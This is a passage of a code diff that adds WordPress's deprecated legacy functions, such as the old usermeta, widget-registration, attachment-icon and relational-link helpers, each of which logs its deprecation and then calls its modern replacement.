+	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
+	return before_last_bar( translate( $text, $domain ) );
+}
+
+/**
+ * Legacy version of _n(), which supports contexts.
+ *
+ * Strips everything from the translation after the last bar.
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0 Use _nx()
+ * @see _nx()
+ *
+ * @param string $single The text to be used if the number is singular.
+ * @param string $plural The text to be used if the number is plural.
+ * @param int    $number The number to compare against to use either the singular or plural form.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ *                       Default 'default'.
+ * @return string The translated singular or plural form.
+ */
+function _nc( $single, $plural, $number, $domain = 'default' ) {
+	_deprecated_function( __FUNCTION__, '2.9.0', '_nx()' );
+	return before_last_bar( _n( $single, $plural, $number, $domain ) );
+}
+
+/**
+ * Retrieve the plural or single form based on the amount.
+ *
+ * @since 1.2.0
+ * @deprecated 2.8.0 Use _n()
+ * @see _n()
+ */
+function __ngettext() {
+	_deprecated_function( __FUNCTION__, '2.8.0', '_n()' );
+	$args = func_get_args();
+	return call_user_func_array('_n', $args);
+}
+
+/**
+ * Register plural strings in POT file, but don't translate them.
+ *
+ * @since 2.5.0
+ * @deprecated 2.8.0 Use _n_noop()
+ * @see _n_noop()
+ */
+function __ngettext_noop() {
+	_deprecated_function( __FUNCTION__, '2.8.0', '_n_noop()' );
+	$args = func_get_args();
+	return call_user_func_array('_n_noop', $args);
+
+}
+
+/**
+ * Retrieve all autoload options, or all options if no autoloaded ones exist.
+ *
+ * @since 1.0.0
+ * @deprecated 3.0.0 Use wp_load_alloptions())
+ * @see wp_load_alloptions()
+ *
+ * @return array List of all options.
+ */
+function get_alloptions() {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'wp_load_alloptions()' );
+	return wp_load_alloptions();
+}
+
+/**
+ * Retrieve HTML content of attachment image with link.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0 Use wp_get_attachment_link()
+ * @see wp_get_attachment_link()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default is false. Whether to use full size image.
+ * @param array $max_dims Optional. Max image dimensions.
+ * @param bool $permalink Optional, default is false. Whether to include permalink to image.
+ * @return string
+ */
+function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_link()' );
+	$id = (int) $id;
+	$_post = get_post($id);
+
+	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
+		return __('Missing Attachment');
+
+	if ( $permalink )
+		$url = get_attachment_link($_post->ID);
+
+	$post_title = esc_attr($_post->post_title);
+
+	$innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims);
+	return "<a href='$url' title='$post_title'>$innerHTML</a>";
+}
+
+/**
+ * Retrieve icon URL and Path.
+ *
+ * @since 2.1.0
+ * @deprecated 2.5.0 Use wp_get_attachment_image_src()
+ * @see wp_get_attachment_image_src()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full image.
+ * @return array Icon URL and full path to file, respectively.
+ */
+function get_attachment_icon_src( $id = 0, $fullsize = false ) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image_src()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
+
+	if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) {
+		// We have a thumbnail desired, specified and existing
+
+		$src_file = basename($src);
+	} elseif ( wp_attachment_is_image( $post->ID ) ) {
+		// We have an image without a thumbnail
+
+		$src = wp_get_attachment_url( $post->ID );
+		$src_file = & $file;
+	} elseif ( $src = wp_mime_type_icon( $post->ID ) ) {
+		// No thumb, no image. We'll look for a mime-related icon instead.
+
+		$icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' );
+		$src_file = $icon_dir . '/' . basename($src);
+	}
+
+	if ( !isset($src) || !$src )
+		return false;
+
+	return array($src, $src_file);
+}
+
+/**
+ * Retrieve HTML content of icon attachment image element.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0 Use wp_get_attachment_image()
+ * @see wp_get_attachment_image()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return false|string HTML content.
+ */
+function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) )
+		return false;
+
+	list($src, $src_file) = $src;
+
+	// Do we need to constrain the image?
+	if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) {
+
+		$imagesize = getimagesize($src_file);
+
+		if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) {
+			$actual_aspect = $imagesize[0] / $imagesize[1];
+			$desired_aspect = $max_dims[0] / $max_dims[1];
+
+			if ( $actual_aspect >= $desired_aspect ) {
+				$height = $actual_aspect * $max_dims[0];
+				$constraint = "width='{$max_dims[0]}' ";
+				$post->iconsize = array($max_dims[0], $height);
+			} else {
+				$width = $max_dims[1] / $actual_aspect;
+				$constraint = "height='{$max_dims[1]}' ";
+				$post->iconsize = array($width, $max_dims[1]);
+			}
+		} else {
+			$post->iconsize = array($imagesize[0], $imagesize[1]);
+			$constraint = '';
+		}
+	} else {
+		$constraint = '';
+	}
+
+	$post_title = esc_attr($post->post_title);
+
+	$icon = "<img src='$src' title='$post_title' alt='$post_title' $constraint/>";
+
+	return apply_filters( 'attachment_icon', $icon, $post->ID );
+}
+
+/**
+ * Retrieve HTML content of image element.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0 Use wp_get_attachment_image()
+ * @see wp_get_attachment_image()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return false|string
+ */
+function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'wp_get_attachment_image()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims))
+		return $innerHTML;
+
+	$innerHTML = esc_attr($post->post_title);
+
+	return apply_filters('attachment_innerHTML', $innerHTML, $post->ID);
+}
+
+/**
+ * Retrieves bookmark data based on ID.
+ *
+ * @since 2.0.0
+ * @deprecated 2.1.0 Use get_bookmark()
+ * @see get_bookmark()
+ *
+ * @param int    $bookmark_id ID of link
+ * @param string $output      Optional. Type of output. Accepts OBJECT, ARRAY_N, or ARRAY_A.
+ *                            Default OBJECT.
+ * @param string $filter      Optional. How to filter the link for output. Accepts 'raw', 'edit',
+ *                            'attribute', 'js', 'db', or 'display'. Default 'raw'.
+ * @return object|array Bookmark object or array, depending on the type specified by `$output`.
+ */
+function get_link( $bookmark_id, $output = OBJECT, $filter = 'raw' ) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmark()' );
+	return get_bookmark($bookmark_id, $output, $filter);
+}
+
+/**
+ * Performs esc_url() for database or redirect usage.
+ *
+ * @since 2.3.1
+ * @deprecated 2.8.0 Use esc_url_raw()
+ * @see esc_url_raw()
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function sanitize_url( $url, $protocols = null ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_url_raw()' );
+	return esc_url_raw( $url, $protocols );
+}
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) ampersands are also replaced. The 'clean_url' filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 1.2.0
+ * @deprecated 3.0.0 Use esc_url()
+ * @see esc_url()
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols Optional. An array of acceptable protocols.
+ * @param string $context Optional. How the URL will be used. Default is 'display'.
+ * @return string The cleaned $url after the {@see 'clean_url'} filter is applied.
+ */
+function clean_url( $url, $protocols = null, $context = 'display' ) {
+	if ( $context == 'db' )
+		_deprecated_function( 'clean_url( $context = \'db\' )', '3.0.0', 'esc_url_raw()' );
+	else
+		_deprecated_function( __FUNCTION__, '3.0.0', 'esc_url()' );
+	return esc_url( $url, $protocols, $context );
+}
+
+/**
+ * Escape single quotes, specialchar double quotes, and fix line endings.
+ *
+ * The filter {@see 'js_escape'} is also applied by esc_js().
+ *
+ * @since 2.0.4
+ * @deprecated 2.8.0 Use esc_js()
+ * @see esc_js()
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function js_escape( $text ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_js()' );
+	return esc_js( $text );
+}
+
+/**
+ * Legacy escaping for HTML blocks.
+ *
+ * @deprecated 2.8.0 Use esc_html()
+ * @see esc_html()
+ *
+ * @param string       $string        String to escape.
+ * @param string       $quote_style   Unused.
+ * @param false|string $charset       Unused.
+ * @param false        $double_encode Whether to double encode. Unused.
+ * @return string Escaped `$string`.
+ */
+function wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_html()' );
+	if ( func_num_args() > 1 ) { // Maintain back-compat for people passing additional arguments.
+		$args = func_get_args();
+		return call_user_func_array( '_wp_specialchars', $args );
+	} else {
+		return esc_html( $string );
+	}
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.0.6
+ * @deprecated 2.8.0 Use esc_attr()
+ * @see esc_attr()
+ *
+ * @param string $text
+ * @return string
+ */
+function attribute_escape( $text ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'esc_attr()' );
+	return esc_attr( $text );
+}
+
+/**
+ * Register widget for sidebar with backward compatibility.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
+ * Passes to wp_register_sidebar_widget() after argument list and backward
+ * compatibility is complete.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0 Use wp_register_sidebar_widget()
+ * @see wp_register_sidebar_widget()
+ *
+ * @param string|int $name            Widget ID.
+ * @param callable   $output_callback Run when widget is called.
+ * @param string     $classname       Optional. Classname widget option. Default empty.
+ * @param mixed      $params ,...     Widget parameters.
+ */
+function register_sidebar_widget($name, $output_callback, $classname = '') {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_sidebar_widget()' );
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($classname) && is_string($classname) )
+		$options['classname'] = $classname;
+	$params = array_slice(func_get_args(), 2);
+	$args = array($id, $name, $output_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_sidebar_widget', $args);
+}
+
+/**
+ * Serves as an alias of wp_unregister_sidebar_widget().
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0 Use wp_unregister_sidebar_widget()
+ * @see wp_unregister_sidebar_widget()
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_sidebar_widget($id) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_sidebar_widget()' );
+	return wp_unregister_sidebar_widget($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
+ * Passes to wp_register_widget_control() after the argument list has
+ * been compiled.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0 Use wp_register_widget_control()
+ * @see wp_register_widget_control()
+ *
+ * @param int|string $name Sidebar ID.
+ * @param callable $control_callback Widget control callback to display and process form.
+ * @param int $width Widget width.
+ * @param int $height Widget height.
+ */
+function register_widget_control($name, $control_callback, $width = '', $height = '') {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_register_widget_control()' );
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($width) )
+		$options['width'] = $width;
+	if ( !empty($height) )
+		$options['height'] = $height;
+	$params = array_slice(func_get_args(), 4);
+	$args = array($id, $name, $control_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_widget_control', $args);
+}
+
+/**
+ * Alias of wp_unregister_widget_control().
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0 Use wp_unregister_widget_control()
+ * @see wp_unregister_widget_control()
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_widget_control($id) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'wp_unregister_widget_control()' );
+	return wp_unregister_widget_control($id);
+}
+
+/**
+ * Remove user meta data.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0 Use delete_user_meta()
+ * @see delete_user_meta()
+ *
+ * @param int $user_id User ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True deletion completed and false if user_id is not a number.
+ */
+function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'delete_user_meta()' );
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	if ( is_array($meta_value) || is_object($meta_value) )
+		$meta_value = serialize($meta_value);
+	$meta_value = trim( $meta_value );
+
+	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	if ( $cur && $cur->umeta_id )
+		do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	if ( ! empty($meta_value) )
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) );
+	else
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	clean_user_cache( $user_id );
+	wp_cache_delete( $user_id, 'user_meta' );
+
+	if ( $cur && $cur->umeta_id )
+		do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	return true;
+}
+
+/**
+ * Retrieve user metadata.
+ *
+ * If $user_id is not a number, then the function will fail over with a 'false'
+ * boolean return value. Other returned values depend on whether there is only
+ * one item to be returned, which be that single item type. If there is more
+ * than one metadata value, then it will be list of metadata values.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0 Use get_user_meta()
+ * @see get_user_meta()
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Optional. Metadata key.
+ * @return mixed
+ */
+function get_usermeta( $user_id, $meta_key = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'get_user_meta()' );
+	global $wpdb;
+	$user_id = (int) $user_id;
+
+	if ( !$user_id )
+		return false;
+
+	if ( !empty($meta_key) ) {
+		$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+		$user = wp_cache_get($user_id, 'users');
+		// Check the cached user object
+		if ( false !== $user && isset($user->$meta_key) )
+			$metas = array($user->$meta_key);
+		else
+			$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+	} else {
+		$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) );
+	}
+
+	if ( empty($metas) ) {
+		if ( empty($meta_key) )
+			return array();
+		else
+			return '';
+	}
+
+	$metas = array_map('maybe_unserialize', $metas);
+
+	if ( count($metas) == 1 )
+		return $metas[0];
+	else
+		return $metas;
+}
+
+/**
+ * Update metadata of user.
+ *
+ * There is no need to serialize values, they will be serialized if it is
+ * needed. The metadata key can only be a string with underscores. All else will
+ * be removed.
+ *
+ * Will remove the metadata, if the meta value is empty.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0 Use update_user_meta()
+ * @see update_user_meta()
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True on successful update, false on failure.
+ */
+function update_usermeta( $user_id, $meta_key, $meta_value ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'update_user_meta()' );
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	/** @todo Might need fix because usermeta data is assumed to be already escaped */
+	if ( is_string($meta_value) )
+		$meta_value = stripslashes($meta_value);
+	$meta_value = maybe_serialize($meta_value);
+
+	if (empty($meta_value)) {
+		return delete_usermeta($user_id, $meta_key);
+	}
+
+	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	if ( $cur )
+		do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	if ( !$cur )
+		$wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') );
+	elseif ( $cur->meta_value != $meta_value )
+		$wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') );
+	else
+		return false;
+
+	clean_user_cache( $user_id );
+	wp_cache_delete( $user_id, 'user_meta' );
+
+	if ( !$cur )
+		do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value );
+	else
+		do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	return true;
+}
+
+/**
+ * Get users for the site.
+ *
+ * For setups that use the multisite feature. Can be used outside of the
+ * multisite feature.
+ *
+ * @since 2.2.0
+ * @deprecated 3.1.0 Use get_users()
+ * @see get_users()
+ *
+ * @global wpdb $wpdb    WordPress database abstraction object.
+ *
+ * @param int $id Site ID.
+ * @return array List of users that are part of that site ID
+ */
+function get_users_of_blog( $id = '' ) {
+	_deprecated_function( __FUNCTION__, '3.1.0', 'get_users()' );
+
+	global $wpdb;
+	if ( empty( $id ) ) {
+		$id = get_current_blog_id();
+	}
+	$blog_prefix = $wpdb->get_blog_prefix($id);
+	$users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$blog_prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" );
+	return $users;
+}
+
+/**
+ * Enable/disable automatic general feed link outputting.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0 Use add_theme_support()
+ * @see add_theme_support()
+ *
+ * @param bool $add Optional, default is true. Add or remove links. Defaults to true.
+ */
+function automatic_feed_links( $add = true ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', "add_theme_support( 'automatic-feed-links' )" );
+
+	if ( $add )
+		add_theme_support( 'automatic-feed-links' );
+	else
+		remove_action( 'wp_head', 'feed_links_extra', 3 ); // Just do this yourself in 3.0+
+}
+
+/**
+ * Retrieve user data based on field.
+ *
+ * @since 1.5.0
+ * @deprecated 3.0.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @param string    $field User meta field.
+ * @param false|int $user Optional. User ID to retrieve the field for. Default false (current user).
+ * @return string The author's field from the current author's DB object.
+ */
+function get_profile( $field, $user = false ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'get_the_author_meta()' );
+	if ( $user ) {
+		$user = get_user_by( 'login', $user );
+		$user = $user->ID;
+	}
+	return get_the_author_meta( $field, $user );
+}
+
+/**
+ * Retrieves the number of posts a user has written.
+ *
+ * @since 0.71
+ * @deprecated 3.0.0 Use count_user_posts()
+ * @see count_user_posts()
+ *
+ * @param int $userid User to count posts for.
+ * @return int Number of posts the given user has written.
+ */
+function get_usernumposts( $userid ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'count_user_posts()' );
+	return count_user_posts( $userid );
+}
+
+/**
+ * Callback used to change %uXXXX to &#YYY; syntax
+ *
+ * @since 2.8.0
+ * @access private
+ * @deprecated 3.0.0
+ *
+ * @param array $matches Single Match
+ * @return string An HTML entity
+ */
+function funky_javascript_callback($matches) {
+	return "&#".base_convert($matches[1],16,10).";";
+}
+
+/**
+ * Fixes JavaScript bugs in browsers.
+ *
+ * Converts unicode characters to HTML numbered entities.
+ *
+ * @since 1.5.0
+ * @deprecated 3.0.0
+ *
+ * @global $is_macIE
+ * @global $is_winIE
+ *
+ * @param string $text Text to be made safe.
+ * @return string Fixed text.
+ */
+function funky_javascript_fix($text) {
+	_deprecated_function( __FUNCTION__, '3.0.0' );
+	// Fixes for browsers' JavaScript bugs.
+	global $is_macIE, $is_winIE;
+
+	if ( $is_winIE || $is_macIE )
+		$text =  preg_replace_callback("/\%u([0-9A-F]{4,4})/",
+					"funky_javascript_callback",
+					$text);
+
+	return $text;
+}
+
+/**
+ * Checks that the taxonomy name exists.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0 Use taxonomy_exists()
+ * @see taxonomy_exists()
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy exists.
+ */
+function is_taxonomy( $taxonomy ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'taxonomy_exists()' );
+	return taxonomy_exists( $taxonomy );
+}
+
+/**
+ * Check if Term exists.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0 Use term_exists()
+ * @see term_exists()
+ *
+ * @param int|string $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param int $parent ID of parent term under which to confine the exists search.
+ * @return mixed Get the term id or Term Object, if exists.
+ */
+function is_term( $term, $taxonomy = '', $parent = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.0.0', 'term_exists()' );
+	return term_exists( $term, $taxonomy, $parent );
+}
+
+/**
+ * Determines whether the current admin page is generated by a plugin.
+ *
+ * Use global $plugin_page and/or get_plugin_page_hookname() hooks.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ * @deprecated 3.1.0
+ *
+ * @global $plugin_page
+ *
+ * @return bool
+ */
+function is_plugin_page() {
+	_deprecated_function( __FUNCTION__, '3.1.0'  );
+
+	global $plugin_page;
+
+	if ( isset($plugin_page) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Update the categories cache.
+ *
+ * This function does not appear to be used anymore or does not appear to be
+ * needed. It might be a legacy function left over from when there was a need
+ * for updating the category cache.
+ *
+ * @since 1.5.0
+ * @deprecated 3.1.0
+ *
+ * @return bool Always return True
+ */
+function update_category_cache() {
+	_deprecated_function( __FUNCTION__, '3.1.0'  );
+
+	return true;
+}
+
+/**
+ * Check for PHP timezone support
+ *
+ * @since 2.9.0
+ * @deprecated 3.2.0
+ *
+ * @return bool
+ */
+function wp_timezone_supported() {
+	_deprecated_function( __FUNCTION__, '3.2.0' );
+
+	return true;
+}
+
+/**
+ * Displays an editor: TinyMCE, HTML, or both.
+ *
+ * @since 2.1.0
+ * @deprecated 3.3.0 Use wp_editor()
+ * @see wp_editor()
+ *
+ * @param string $content       Textarea content.
+ * @param string $id            Optional. HTML ID attribute value. Default 'content'.
+ * @param string $prev_id       Optional. Unused.
+ * @param bool   $media_buttons Optional. Whether to display media buttons. Default true.
+ * @param int    $tab_index     Optional. Unused.
+ * @param bool   $extended      Optional. Unused.
+ */
+function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2, $extended = true) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'wp_editor()' );
+
+	wp_editor( $content, $id, array( 'media_buttons' => $media_buttons ) );
+}
+
+/**
+ * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users
+ *
+ * @since 3.0.0
+ * @deprecated 3.3.0
+ *
+ * @param array $ids User ID numbers list.
+ * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays.
+ */
+function get_user_metavalues($ids) {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	$objects = array();
+
+	$ids = array_map('intval', $ids);
+	foreach ( $ids as $id )
+		$objects[$id] = array();
+
+	$metas = update_meta_cache('user', $ids);
+
+	foreach ( $metas as $id => $meta ) {
+		foreach ( $meta as $key => $metavalues ) {
+			foreach ( $metavalues as $value ) {
+				$objects[$id][] = (object)array( 'user_id' => $id, 'meta_key' => $key, 'meta_value' => $value);
+			}
+		}
+	}
+
+	return $objects;
+}
+
+/**
+ * Sanitize every user field.
+ *
+ * If the context is 'raw', then the user object or array will get minimal santization of the int fields.
+ *
+ * @since 2.3.0
+ * @deprecated 3.3.0
+ *
+ * @param object|array $user The User Object or Array
+ * @param string $context Optional, default is 'display'. How to sanitize user fields.
+ * @return object|array The now sanitized User Object or Array (will be the same type as $user)
+ */
+function sanitize_user_object($user, $context = 'display') {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	if ( is_object($user) ) {
+		if ( !isset($user->ID) )
+			$user->ID = 0;
+		if ( ! ( $user instanceof WP_User ) ) {
+			$vars = get_object_vars($user);
+			foreach ( array_keys($vars) as $field ) {
+				if ( is_string($user->$field) || is_numeric($user->$field) )
+					$user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context);
+			}
+		}
+		$user->filter = $context;
+	} else {
+		if ( !isset($user['ID']) )
+			$user['ID'] = 0;
+		foreach ( array_keys($user) as $field )
+			$user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context);
+		$user['filter'] = $context;
+	}
+
+	return $user;
+}
+
+/**
+ * Get boundary post relational link.
+ *
+ * Can either be start or end post relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in a same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $start Optional, default is true. Whether to display link to first or last post.
+ * @return string
+ */
+function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	$posts = get_boundary_post($in_same_cat, $excluded_categories, $start);
+	// If there is no post stop.
+	if ( empty($posts) )
+		return;
+
+	// Even though we limited get_posts to return only 1 item it still returns an array of objects.
+	$post = $posts[0];
+
+	if ( empty($post->post_title) )
+		$post->post_title = $start ? __('First Post') : __('Last Post');
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post->ID);
+
+	$link = $start ? "<link rel='start' title='" : "<link rel='end' title='";
+	$link .= esc_attr($title);
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	$boundary = $start ? 'start' : 'end';
+	return apply_filters( "{$boundary}_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for the first post.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in a same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true);
+}
+
+/**
+ * Get site index relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @return string
+ */
+function get_index_rel_link() {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	$link = "<link rel='index' title='" . esc_attr( get_bloginfo( 'name', 'display' ) ) . "' href='" . esc_url( user_trailingslashit( get_bloginfo( 'url', 'display' ) ) ) . "' />\n";
+	return apply_filters( "index_rel_link", $link );
+}
+
+/**
+ * Display relational link for the site index.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ */
+function index_rel_link() {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	echo get_index_rel_link();
+}
+
+/**
+ * Get parent post relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format. Default '%title'.
+ * @return string
+ */
+function get_parent_post_rel_link( $title = '%title' ) {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) )
+		$post = get_post($GLOBALS['post']->post_parent);
+
+	if ( empty($post) )
+		return;
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post->ID);
+
+	$link = "<link rel='up' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	return apply_filters( "parent_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for parent item
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format. Default '%title'.
+ */
